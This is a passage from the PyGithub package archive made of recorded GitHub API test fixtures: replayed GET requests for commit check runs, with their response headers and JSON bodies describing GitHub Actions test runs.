production","external_url":"https://help.github.com/en/actions","html_url":"https://github.com/apps/github-actions","created_at":"2018-07-30T09:30:17Z","updated_at":"2019-12-10T19:04:12Z","permissions":{"actions":"write","checks":"write","contents":"write","deployments":"write","issues":"write","metadata":"read","packages":"write","pages":"write","pull_requests":"write","repository_hooks":"write","repository_projects":"write","security_events":"write","statuses":"write","vulnerability_alerts":"read"},"events":["check_run","check_suite","create","delete","deployment","deployment_status","fork","gollum","issues","issue_comment","label","milestone","page_build","project","project_card","project_column","public","pull_request","pull_request_review","pull_request_review_comment","push","registry_package","release","repository","repository_dispatch","status","watch","workflow_dispatch","workflow_run"]},"pull_requests":[]},{"id":1039891917,"node_id":"MDg6Q2hlY2tSdW4xMDM5ODkxOTE3","head_sha":"10a7135a04f71e6101f8b013aded8a662d08fd1f","external_id":"ced8afa2-0de1-5007-330b-c6fb982580f9","url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891917","html_url":"https://github.com/PyGithub/PyGithub/runs/1039891917","details_url":"https://github.com/PyGithub/PyGithub/runs/1039891917","status":"completed","conclusion":"failure","started_at":"2020-08-28T04:20:27Z","completed_at":"2020-08-28T04:22:35Z","output":{"title":"test (Python 3.6)","summary":"There are 1 failures, 0 warnings, and 0 notices.","text":null,"annotations_count":1,"annotations_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891917/annotations"},"name":"test (Python 3.6)","check_suite":{"id":1110219217},"app":{"id":15368,"slug":"github-actions","node_id":"MDM6QXBwMTUzNjg=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars1.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"name":"GitHub Actions","description":"Automate your workflow from idea to production","external_url":"https://help.github.com/en/actions","html_url":"https://github.com/apps/github-actions","created_at":"2018-07-30T09:30:17Z","updated_at":"2019-12-10T19:04:12Z","permissions":{"actions":"write","checks":"write","contents":"write","deployments":"write","issues":"write","metadata":"read","packages":"write","pages":"write","pull_requests":"write","repository_hooks":"write","repository_projects":"write","security_events":"write","statuses":"write","vulnerability_alerts":"read"},"events":["check_run","check_suite","create","delete","deployment","deployment_status","fork","gollum","issues","issue_comment","label","milestone","page_build","project","project_card","project_column","public","pull_request","pull_request_review","pull_request_review_comment","push","registry_package","release","repository","repository_dispatch","status","watch","workflow_dispatch","workflow_run"]},"pull_requests":[]},{"id":1039891902,"node_id":"MDg6Q2hlY2tSdW4xMDM5ODkxOTAy","head_sha":"10a7135a04f71e6101f8b013aded8a662d08fd1f","external_id":"faa62fff-0a61-5a65-b80e-0b42a7456be1","url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891902","html_url":"https://github.com/PyGithub/PyGithub/runs/1039891902","details_url":"https://github.com/PyGithub/PyGithub/runs/1039891902","status":"completed","conclusion":"success","started_at":"2020-08-28T04:20:26Z","completed_at":"2020-08-28T04:21:34Z","output":{"title":null,"summary":null,"text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891902/annotations"},"name":"test (Python 3.5)","check_suite":{"id":1110219217},"app":{"id":15368,"slug":"github-actions","node_id":"MDM6QXBwMTUzNjg=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars1.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"name":"GitHub Actions","description":"Automate your workflow from idea to production","external_url":"https://help.github.com/en/actions","html_url":"https://github.com/apps/github-actions","created_at":"2018-07-30T09:30:17Z","updated_at":"2019-12-10T19:04:12Z","permissions":{"actions":"write","checks":"write","contents":"write","deployments":"write","issues":"write","metadata":"read","packages":"write","pages":"write","pull_requests":"write","repository_hooks":"write","repository_projects":"write","security_events":"write","statuses":"write","vulnerability_alerts":"read"},"events":["check_run","check_suite","create","delete","deployment","deployment_status","fork","gollum","issues","issue_comment","label","milestone","page_build","project","project_card","project_column","public","pull_request","pull_request_review","pull_request_review_comment","push","registry_package","release","repository","repository_dispatch","status","watch","workflow_dispatch","workflow_run"]},"pull_requests":[]}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/CheckRun.testGetCheckRunsForRefFilterByCheckName.txt0000644000175100001660000002121714756101563030154 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/commits/10a7135a04f71e6101f8b013aded8a662d08fd1f/check-runs?check_name=test+%28Python+3.6%29&per_page=1 {'Accept': 'application/vnd.github.v3+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 23 Oct 2020 03:05:11 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"0cfd4fd6b16162ce7ee38ef08f9c65f2673b52557d1ed9107cb550b5eba06e8a"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4884'), ('X-RateLimit-Reset', '1603425766'), ('X-RateLimit-Used', '116'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CF39:2DDD:170E4F7:1EB98D4:5F924867')] {"total_count":1,"check_runs":[{"id":1039891917,"node_id":"MDg6Q2hlY2tSdW4xMDM5ODkxOTE3","head_sha":"10a7135a04f71e6101f8b013aded8a662d08fd1f","external_id":"ced8afa2-0de1-5007-330b-c6fb982580f9","url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891917","html_url":"https://github.com/PyGithub/PyGithub/runs/1039891917","details_url":"https://github.com/PyGithub/PyGithub/runs/1039891917","status":"completed","conclusion":"failure","started_at":"2020-08-28T04:20:27Z","completed_at":"2020-08-28T04:22:35Z","output":{"title":"test (Python 3.6)","summary":"There are 1 failures, 0 warnings, and 0 notices.","text":null,"annotations_count":1,"annotations_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891917/annotations"},"name":"test (Python 3.6)","check_suite":{"id":1110219217},"app":{"id":15368,"slug":"github-actions","node_id":"MDM6QXBwMTUzNjg=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars1.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"name":"GitHub Actions","description":"Automate your workflow from idea to production","external_url":"https://help.github.com/en/actions","html_url":"https://github.com/apps/github-actions","created_at":"2018-07-30T09:30:17Z","updated_at":"2019-12-10T19:04:12Z","permissions":{"actions":"write","checks":"write","contents":"write","deployments":"write","issues":"write","metadata":"read","packages":"write","pages":"write","pull_requests":"write","repository_hooks":"write","repository_projects":"write","security_events":"write","statuses":"write","vulnerability_alerts":"read"},"events":["check_run","check_suite","create","delete","deployment","deployment_status","fork","gollum","issues","issue_comment","label","milestone","page_build","project","project_card","project_column","public","pull_request","pull_request_review","pull_request_review_comment","push","registry_package","release","repository","repository_dispatch","status","watch","workflow_dispatch","workflow_run"]},"pull_requests":[]}]} https GET api.github.com None /repos/PyGithub/PyGithub/commits/10a7135a04f71e6101f8b013aded8a662d08fd1f/check-runs?check_name=test+%28Python+3.6%29 {'Accept': 'application/vnd.github.v3+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 23 Oct 2020 03:05:12 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"0cfd4fd6b16162ce7ee38ef08f9c65f2673b52557d1ed9107cb550b5eba06e8a"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4883'), ('X-RateLimit-Reset', '1603425766'), ('X-RateLimit-Used', '117'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CF3A:0A11:F4133D:14F8791:5F924867')] {"total_count":1,"check_runs":[{"id":1039891917,"node_id":"MDg6Q2hlY2tSdW4xMDM5ODkxOTE3","head_sha":"10a7135a04f71e6101f8b013aded8a662d08fd1f","external_id":"ced8afa2-0de1-5007-330b-c6fb982580f9","url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891917","html_url":"https://github.com/PyGithub/PyGithub/runs/1039891917","details_url":"https://github.com/PyGithub/PyGithub/runs/1039891917","status":"completed","conclusion":"failure","started_at":"2020-08-28T04:20:27Z","completed_at":"2020-08-28T04:22:35Z","output":{"title":"test (Python 3.6)","summary":"There are 1 failures, 0 warnings, and 0 notices.","text":null,"annotations_count":1,"annotations_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891917/annotations"},"name":"test (Python 3.6)","check_suite":{"id":1110219217},"app":{"id":15368,"slug":"github-actions","node_id":"MDM6QXBwMTUzNjg=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars1.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"name":"GitHub Actions","description":"Automate your workflow from idea to production","external_url":"https://help.github.com/en/actions","html_url":"https://github.com/apps/github-actions","created_at":"2018-07-30T09:30:17Z","updated_at":"2019-12-10T19:04:12Z","permissions":{"actions":"write","checks":"write","contents":"write","deployments":"write","issues":"write","metadata":"read","packages":"write","pages":"write","pull_requests":"write","repository_hooks":"write","repository_projects":"write","security_events":"write","statuses":"write","vulnerability_alerts":"read"},"events":["check_run","check_suite","create","delete","deployment","deployment_status","fork","gollum","issues","issue_comment","label","milestone","page_build","project","project_card","project_column","public","pull_request","pull_request_review","pull_request_review_comment","push","registry_package","release","repository","repository_dispatch","status","watch","workflow_dispatch","workflow_run"]},"pull_requests":[]}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/CheckRun.testGetCheckRunsForRefFilterByFilter.txt0000644000175100001660000010524314756101563027565 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/commits/10a7135a04f71e6101f8b013aded8a662d08fd1f/check-runs?filter=latest&per_page=1 {'Accept': 'application/vnd.github.v3+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 23 Mar 2021 04:46:58 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"06e8aed3f8138a33bf4e9d7238c911364fed4855aab7f5521a0305864cb02ae4"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4980'), ('X-RateLimit-Reset', '1616475784'), ('X-RateLimit-Used', '20'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'BE18:1432:321360:366F74:605972C2')] {"total_count":4,"check_runs":[{"id":34942661139,"node_id":"MDg6Q2hlY2tSdW4xMDM5ODkxOTUz","head_sha":"10a7135a04f71e6101f8b013aded8a662d08fd1f","external_id":"6b512fe7-587c-5ecc-c4a3-03b7358c152d","url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/34942661139","html_url":"https://github.com/PyGithub/PyGithub/runs/34942661139","details_url":"https://github.com/PyGithub/PyGithub/runs/34942661139","status":"completed","conclusion":"success","started_at":"2020-08-28T04:20:27Z","completed_at":"2020-08-28T04:21:21Z","output":{"title":null,"summary":null,"text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/34942661139/annotations"},"name":"test (Python 3.8)","check_suite":{"id":1110219217},"app":{"id":15368,"slug":"github-actions","node_id":"MDM6QXBwMTUzNjg=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"name":"GitHub Actions","description":"Automate your workflow from idea to production","external_url":"https://help.github.com/en/actions","html_url":"https://github.com/apps/github-actions","created_at":"2018-07-30T09:30:17Z","updated_at":"2019-12-10T19:04:12Z","permissions":{"actions":"write","checks":"write","contents":"write","deployments":"write","issues":"write","metadata":"read","organization_packages":"write","packages":"write","pages":"write","pull_requests":"write","repository_hooks":"write","repository_projects":"write","security_events":"write","statuses":"write","vulnerability_alerts":"read"},"events":["check_run","check_suite","create","delete","deployment","deployment_status","fork","gollum","issues","issue_comment","label","milestone","page_build","project","project_card","project_column","public","pull_request","pull_request_review","pull_request_review_comment","push","registry_package","release","repository","repository_dispatch","status","watch","workflow_dispatch","workflow_run"]},"pull_requests":[]}]} https GET api.github.com None /repos/PyGithub/PyGithub/commits/10a7135a04f71e6101f8b013aded8a662d08fd1f/check-runs?filter=latest {'Accept': 'application/vnd.github.v3+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 23 Mar 2021 04:46:59 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"b55d1ee82bdff5f80cd733dc047fca54748fcf7b9f3d0cc0d20e4ce0e86880a9"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4979'), ('X-RateLimit-Reset', '1616475784'), ('X-RateLimit-Used', '21'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'BE1A:5544:101C6E9:116D22B:605972C2')] {"total_count":4,"check_runs":[{"id":34942661139,"node_id":"MDg6Q2hlY2tSdW4xMDM5ODkxOTUz","head_sha":"10a7135a04f71e6101f8b013aded8a662d08fd1f","external_id":"6b512fe7-587c-5ecc-c4a3-03b7358c152d","url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/34942661139","html_url":"https://github.com/PyGithub/PyGithub/runs/34942661139","details_url":"https://github.com/PyGithub/PyGithub/runs/34942661139","status":"completed","conclusion":"success","started_at":"2020-08-28T04:20:27Z","completed_at":"2020-08-28T04:21:21Z","output":{"title":null,"summary":null,"text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/34942661139/annotations"},"name":"test (Python 3.8)","check_suite":{"id":1110219217},"app":{"id":15368,"slug":"github-actions","node_id":"MDM6QXBwMTUzNjg=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"name":"GitHub Actions","description":"Automate your workflow from idea to production","external_url":"https://help.github.com/en/actions","html_url":"https://github.com/apps/github-actions","created_at":"2018-07-30T09:30:17Z","updated_at":"2019-12-10T19:04:12Z","permissions":{"actions":"write","checks":"write","contents":"write","deployments":"write","issues":"write","metadata":"read","organization_packages":"write","packages":"write","pages":"write","pull_requests":"write","repository_hooks":"write","repository_projects":"write","security_events":"write","statuses":"write","vulnerability_alerts":"read"},"events":["check_run","check_suite","create","delete","deployment","deployment_status","fork","gollum","issues","issue_comment","label","milestone","page_build","project","project_card","project_column","public","pull_request","pull_request_review","pull_request_review_comment","push","registry_package","release","repository","repository_dispatch","status","watch","workflow_dispatch","workflow_run"]},"pull_requests":[]},{"id":1039891931,"node_id":"MDg6Q2hlY2tSdW4xMDM5ODkxOTMx","head_sha":"10a7135a04f71e6101f8b013aded8a662d08fd1f","external_id":"02f808e0-98fe-55de-7c6a-7b611811c378","url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891931","html_url":"https://github.com/PyGithub/PyGithub/runs/1039891931","details_url":"https://github.com/PyGithub/PyGithub/runs/1039891931","status":"completed","conclusion":"success","started_at":"2020-08-28T04:20:26Z","completed_at":"2020-08-28T04:21:32Z","output":{"title":null,"summary":null,"text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891931/annotations"},"name":"test (Python 3.7)","check_suite":{"id":1110219217},"app":{"id":15368,"slug":"github-actions","node_id":"MDM6QXBwMTUzNjg=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"name":"GitHub Actions","description":"Automate your workflow from idea to production","external_url":"https://help.github.com/en/actions","html_url":"https://github.com/apps/github-actions","created_at":"2018-07-30T09:30:17Z","updated_at":"2019-12-10T19:04:12Z","permissions":{"actions":"write","checks":"write","contents":"write","deployments":"write","issues":"write","metadata":"read","organization_packages":"write","packages":"write","pages":"write","pull_requests":"write","repository_hooks":"write","repository_projects":"write","security_events":"write","statuses":"write","vulnerability_alerts":"read"},"events":["check_run","check_suite","create","delete","deployment","deployment_status","fork","gollum","issues","issue_comment","label","milestone","page_build","project","project_card","project_column","public","pull_request","pull_request_review","pull_request_review_comment","push","registry_package","release","repository","repository_dispatch","status","watch","workflow_dispatch","workflow_run"]},"pull_requests":[]},{"id":1039891917,"node_id":"MDg6Q2hlY2tSdW4xMDM5ODkxOTE3","head_sha":"10a7135a04f71e6101f8b013aded8a662d08fd1f","external_id":"ced8afa2-0de1-5007-330b-c6fb982580f9","url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891917","html_url":"https://github.com/PyGithub/PyGithub/runs/1039891917","details_url":"https://github.com/PyGithub/PyGithub/runs/1039891917","status":"completed","conclusion":"failure","started_at":"2020-08-28T04:20:27Z","completed_at":"2020-08-28T04:22:35Z","output":{"title":"test (Python 3.6)","summary":"There are 1 failures, 0 warnings, and 0 notices.","text":null,"annotations_count":1,"annotations_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891917/annotations"},"name":"test (Python 3.6)","check_suite":{"id":1110219217},"app":{"id":15368,"slug":"github-actions","node_id":"MDM6QXBwMTUzNjg=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"name":"GitHub Actions","description":"Automate your workflow from idea to production","external_url":"https://help.github.com/en/actions","html_url":"https://github.com/apps/github-actions","created_at":"2018-07-30T09:30:17Z","updated_at":"2019-12-10T19:04:12Z","permissions":{"actions":"write","checks":"write","contents":"write","deployments":"write","issues":"write","metadata":"read","organization_packages":"write","packages":"write","pages":"write","pull_requests":"write","repository_hooks":"write","repository_projects":"write","security_events":"write","statuses":"write","vulnerability_alerts":"read"},"events":["check_run","check_suite","create","delete","deployment","deployment_status","fork","gollum","issues","issue_comment","label","milestone","page_build","project","project_card","project_column","public","pull_request","pull_request_review","pull_request_review_comment","push","registry_package","release","repository","repository_dispatch","status","watch","workflow_dispatch","workflow_run"]},"pull_requests":[]},{"id":1039891902,"node_id":"MDg6Q2hlY2tSdW4xMDM5ODkxOTAy","head_sha":"10a7135a04f71e6101f8b013aded8a662d08fd1f","external_id":"faa62fff-0a61-5a65-b80e-0b42a7456be1","url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891902","html_url":"https://github.com/PyGithub/PyGithub/runs/1039891902","details_url":"https://github.com/PyGithub/PyGithub/runs/1039891902","status":"completed","conclusion":"success","started_at":"2020-08-28T04:20:26Z","completed_at":"2020-08-28T04:21:34Z","output":{"title":null,"summary":null,"text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891902/annotations"},"name":"test (Python 3.5)","check_suite":{"id":1110219217},"app":{"id":15368,"slug":"github-actions","node_id":"MDM6QXBwMTUzNjg=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"name":"GitHub Actions","description":"Automate your workflow from idea to production","external_url":"https://help.github.com/en/actions","html_url":"https://github.com/apps/github-actions","created_at":"2018-07-30T09:30:17Z","updated_at":"2019-12-10T19:04:12Z","permissions":{"actions":"write","checks":"write","contents":"write","deployments":"write","issues":"write","metadata":"read","organization_packages":"write","packages":"write","pages":"write","pull_requests":"write","repository_hooks":"write","repository_projects":"write","security_events":"write","statuses":"write","vulnerability_alerts":"read"},"events":["check_run","check_suite","create","delete","deployment","deployment_status","fork","gollum","issues","issue_comment","label","milestone","page_build","project","project_card","project_column","public","pull_request","pull_request_review","pull_request_review_comment","push","registry_package","release","repository","repository_dispatch","status","watch","workflow_dispatch","workflow_run"]},"pull_requests":[]}]} https GET api.github.com None /repos/PyGithub/PyGithub/commits/10a7135a04f71e6101f8b013aded8a662d08fd1f/check-runs?filter=all&per_page=1 {'Accept': 'application/vnd.github.v3+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 23 Mar 2021 04:46:59 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 